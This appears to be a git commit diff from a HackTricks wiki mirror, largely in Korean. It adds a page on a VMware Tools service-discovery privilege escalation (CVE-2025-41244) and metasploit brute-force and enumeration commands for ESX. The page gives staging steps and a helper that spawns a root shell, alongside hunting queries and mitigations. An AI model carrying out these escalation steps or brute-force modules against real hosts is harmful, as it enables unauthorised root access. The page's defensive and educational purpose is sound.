mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/linux-hardening/privilege-escalation/vmware-tools-servi
This commit is contained in:
parent
d80079a1c7
commit
409cf0a1b9
@ -110,6 +110,7 @@
|
||||
- [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md)
|
||||
- [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md)
|
||||
- [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md)
|
||||
- [Vmware Tools Service Discovery Untrusted Search Path Cve 2025 41244](linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md)
|
||||
- [Arbitrary File Write to Root](linux-hardening/privilege-escalation/write-to-root.md)
|
||||
- [Cisco - vmanage](linux-hardening/privilege-escalation/cisco-vmanage.md)
|
||||
- [Containerd (ctr) Privilege Escalation](linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md)
|
||||
|
File diff suppressed because it is too large
Load Diff
@ -0,0 +1,146 @@
|
||||
# VMware Tools service discovery LPE (CWE-426) via regex-based binary discovery (CVE-2025-41244)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
이 기법은 실행 중인 프로세스의 명령줄을 파싱해 서비스 버전을 유추한 뒤 후보 바이너리를 "version" 플래그로 실행하는 regex 기반의 service discovery 파이프라인을 악용합니다. 허용적인 패턴이 신뢰할 수 없는 공격자 제어 경로(예: /tmp/httpd)를 허용하면, 권한 있는 수집기가 신뢰할 수 없는 위치의 임의 바이너리를 실행하여 로컬 권한 상승을 일으킬 수 있습니다. NVISO는 이를 VMware Tools/Aria Operations Service Discovery에서 CVE-2025-41244로 문서화했습니다.
|
||||
|
||||
- Impact: Local privilege escalation to root (or to the privileged discovery account)
|
||||
- Root cause: Untrusted Search Path (CWE-426) + permissive regex matching of process command lines
|
||||
- Affected: open-vm-tools/VMware Tools on Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy)
|
||||
|
||||
## How VMware service discovery works (high level)
|
||||
|
||||
- Credential-based (legacy): Aria executes discovery scripts inside the guest via VMware Tools using configured privileged credentials.
|
||||
- Credential-less (modern): Discovery logic runs within VMware Tools, already privileged in the guest.
|
||||
|
||||
두 모드 모두 궁극적으로 쉘 로직을 실행하여 수신 중인 소켓을 가진 프로세스를 스캔하고, regex로 일치하는 명령 경로를 추출한 뒤 첫 번째 argv 토큰을 version 플래그와 함께 실행합니다.
|
||||
|
||||
## Root cause and vulnerable pattern (open-vm-tools)
|
||||
|
||||
In open-vm-tools, the serviceDiscovery plugin script get-versions.sh matches candidate binaries using broad regular expressions and executes the first token without any trusted-path validation:
|
||||
```bash
|
||||
get_version() {
|
||||
PATTERN=$1
|
||||
VERSION_OPTION=$2
|
||||
for p in $space_separated_pids
|
||||
do
|
||||
COMMAND=$(get_command_line $p | grep -Eo "$PATTERN")
|
||||
[ ! -z "$COMMAND" ] && echo VERSIONSTART "$p" "$("${COMMAND%%[[:space:]]*}" $VERSION_OPTION 2>&1)" VERSIONEND
|
||||
done
|
||||
}
|
||||
```
|
||||
이는 \S (비공백)를 포함하는 관대한 패턴으로 호출되어 사용자 쓰기 가능한 위치의 비시스템 경로와 쉽게 일치합니다:
|
||||
```bash
|
||||
get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v
|
||||
get_version "/usr/(bin|sbin)/apache\S*" -v
|
||||
get_version "/\S+/mysqld($|\s)" -V
|
||||
get_version "\.?/\S*nginx($|\s)" -v
|
||||
get_version "/\S+/srm/bin/vmware-dr($|\s)" --version
|
||||
get_version "/\S+/dataserver($|\s)" -v
|
||||
```
|
||||
- 추출은 grep -Eo를 사용하고 첫 번째 토큰을 취합니다: ${COMMAND%%[[:space:]]*}
|
||||
- 신뢰된 시스템 경로에 대한 whitelist/allowlist가 없으며, 일치하는 이름을 가진 리스너가 발견되면 -v/--version으로 실행됩니다
|
||||
|
||||
이것은 untrusted search path execution primitive를 생성합니다: world-writable 디렉터리(예: /tmp/httpd)에 있는 임의의 바이너리가 권한 있는 구성 요소에 의해 실행됩니다.
|
||||
|
||||
## Exploitation (both credential-less and credential-based modes)
|
||||
|
||||
Preconditions
|
||||
- 게스트에서 리스닝 소켓을 여는 unprivileged 프로세스를 실행할 수 있어야 합니다.
|
||||
- discovery job이 활성화되어 주기적으로 실행됩니다(과거에는 약 5분 간격).
|
||||
|
||||
Steps
|
||||
1) permissive regexes 중 하나와 일치하는 경로에 바이너리를 스테이징합니다(예: /tmp/httpd 또는 ./nginx)
|
||||
2) 권한이 낮은 사용자로 실행하고 리스닝 소켓이 열려 있는지 확인합니다
|
||||
3) 탐지 주기를 기다리면, 권한 있는 수집기(collector)가 자동으로 다음을 실행합니다: /tmp/httpd -v (또는 유사한 명령) — 이때 프로그램이 root로 실행됩니다
|
||||
|
||||
Minimal demo (using NVISO’s approach)
|
||||
```bash
|
||||
# Build any small helper that:
|
||||
# - default mode: opens a dummy TCP listener
|
||||
# - when called with -v/--version: performs the privileged action (e.g., connect to an abstract UNIX socket and spawn /bin/sh -i)
|
||||
# Example staging and trigger
|
||||
cp your_helper /tmp/httpd
|
||||
chmod +x /tmp/httpd
|
||||
/tmp/httpd # run as low-priv user and wait for the cycle
|
||||
# After the next cycle, expect a root shell or your privileged action
|
||||
```
|
||||
전형적인 프로세스 계보
|
||||
- Credential-based: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i
|
||||
- Credential-less: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i
|
||||
|
||||
아티팩트 (credential-based)
|
||||
복구된 SDMP wrapper scripts가 /tmp/VMware-SDMP-Scripts-{UUID}/ 아래에 있을 경우 악성 경로의 직접 실행을 보여줄 수 있습니다:
|
||||
```bash
|
||||
/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr"
|
||||
```
|
||||
## 기법 일반화: regex-driven discovery abuse (portable pattern)
|
||||
|
||||
Many agents and monitoring suites implement version/service discovery by:
|
||||
- Enumerating processes with listening sockets
|
||||
- Grepping argv/command lines with permissive regexes (e.g., patterns containing \S)
|
||||
- Executing the matched path with a benign flag like -v, --version, -V, -h
|
||||
|
||||
If the regex accepts untrusted paths and the path is executed from a privileged context, you get CWE-426 Untrusted Search Path execution.
|
||||
|
||||
악용 절차
|
||||
- Name your binary like common daemons that the regex is likely to match: httpd, nginx, mysqld, dataserver
|
||||
- Place it in a writable directory: /tmp/httpd, ./nginx
|
||||
- Ensure it matches the regex and opens any port to be enumerated
|
||||
- Wait for the scheduled collector; you get an automatic privileged invocation of <path> -v
|
||||
|
||||
Masquerading note: 이는 MITRE ATT&CK T1036.005 (Match Legitimate Name or Location)과 일치하여 매칭 확률과 은폐를 높입니다.
|
||||
|
||||
Reusable privileged I/O relay trick
|
||||
- Build your helper so that on privileged invocation (-v/--version) it connects to a known rendezvous (e.g., a Linux abstract UNIX socket like @cve) and bridges stdio to /bin/sh -i. This avoids on-disk artifacts and works across many environments where the same binary is re-invoked with a flag.
|
||||
|
||||
## Detection and DFIR guidance
|
||||
|
||||
헌팅 쿼리
|
||||
- vmtoolsd 또는 get-versions.sh의 드문 자식 프로세스들(ex: /tmp/httpd, ./nginx, /tmp/mysqld)
|
||||
- discovery 스크립트에 의해 비시스템 절대 경로가 실행되는 모든 경우 (${COMMAND%%...} 확장에서 공백을 찾으세요)
|
||||
- ps -ef --forest로 조상 트리를 시각화: vmtoolsd -> get-versions.sh -> <non-system path>
|
||||
|
||||
On Aria SDMP (credential-based)
|
||||
- /tmp/VMware-SDMP-Scripts-{UUID}/를 검사하여 임시 스크립트와 공격자 경로의 실행을 보여주는 stdout/stderr 아티팩트 확인
|
||||
|
||||
정책/텔레메트리
|
||||
- 권한 있는 컬렉터가 비시스템 접두사에서 실행될 때 알림: ^/(tmp|home|var/tmp|dev/shm)/
|
||||
- get-versions.sh 및 VMware Tools 플러그인에 대한 파일 무결성 모니터링
|
||||
|
||||
## 완화책
|
||||
|
||||
- 패치: Broadcom/VMware의 CVE-2025-41244 (Tools and Aria Operations SDMP) 업데이트 적용
|
||||
- 자격 증명 없는 discovery를 가능한 경우 비활성화하거나 제한
|
||||
- 신뢰된 경로 검증: 실행을 허용 목록 디렉터리(/usr/sbin, /usr/bin, /sbin, /bin)로 제한하고 정확히 알려진 바이너리만 허용
|
||||
- \S 같은 관대한 regex 사용을 피하고, 앵커된 명시적 절대 경로 및 정확한 명령 이름을 선호
|
||||
- discovery 헬퍼의 권한을 낮추고 가능한 경우 샌드박스(seccomp/AppArmor)로 영향 감소
|
||||
- vmtoolsd/get-versions.sh가 비시스템 경로를 실행하는지 모니터링 및 알림
|
||||
|
||||
## Notes for defenders and implementers
|
||||
|
||||
더 안전한 매칭 및 실행 패턴
|
||||
```bash
|
||||
# Bad: permissive regex and blind exec
|
||||
COMMAND=$(get_command_line "$pid" | grep -Eo "/\\S+/nginx(\$|\\s)")
|
||||
[ -n "$COMMAND" ] && "${COMMAND%%[[:space:]]*}" -v
|
||||
|
||||
# Good: strict allowlist + path checks
|
||||
candidate=$(get_command_line "$pid" | awk '{print $1}')
|
||||
case "$candidate" in
|
||||
/usr/sbin/nginx|/usr/sbin/httpd|/usr/sbin/apache2)
|
||||
"$candidate" -v 2>&1 ;;
|
||||
*)
|
||||
: # ignore non-allowlisted paths
|
||||
;;
|
||||
esac
|
||||
```
|
||||
## 참고자료
|
||||
|
||||
- [NVISO – You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/)
|
||||
- [Broadcom – CVE-2025-41244 권고문](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149)
|
||||
- [open-vm-tools – serviceDiscovery/get-versions.sh (stable-13.0.0)](https://github.com/vmware/open-vm-tools/blob/stable-13.0.0/open-vm-tools/services/plugins/serviceDiscovery/get-versions.sh)
|
||||
- [MITRE ATT&CK T1036.005 – Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005/)
|
||||
- [CWE-426: Untrusted Search Path](https://cwe.mitre.org/data/definitions/426.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,16 +1,28 @@
|
||||
# VMware ESX / vCenter Pentesting
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
# 열거
|
||||
## 열거
|
||||
```bash
|
||||
nmap -sV --script "http-vmware-path-vuln or vmware-version" -p <PORT> <IP>
|
||||
msf> use auxiliary/scanner/vmware/esx_fingerprint
|
||||
msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
|
||||
```
|
||||
# 브루트포스
|
||||
## Bruteforce
|
||||
```bash
|
||||
msf> auxiliary/scanner/vmware/vmware_http_login
|
||||
```
|
||||
유효한 자격 증명을 찾으면, 더 많은 메타스플로잇 스캐너 모듈을 사용하여 정보를 얻을 수 있습니다.
|
||||
유효한 credentials를 찾으면 추가적인 metasploit scanner modules를 사용해 정보를 얻을 수 있습니다.
|
||||
|
||||
|
||||
|
||||
### 참고
|
||||
|
||||
Linux LPE via VMware Tools service discovery (CWE-426 / CVE-2025-41244):
|
||||
|
||||
{{#ref}}
|
||||
../../linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user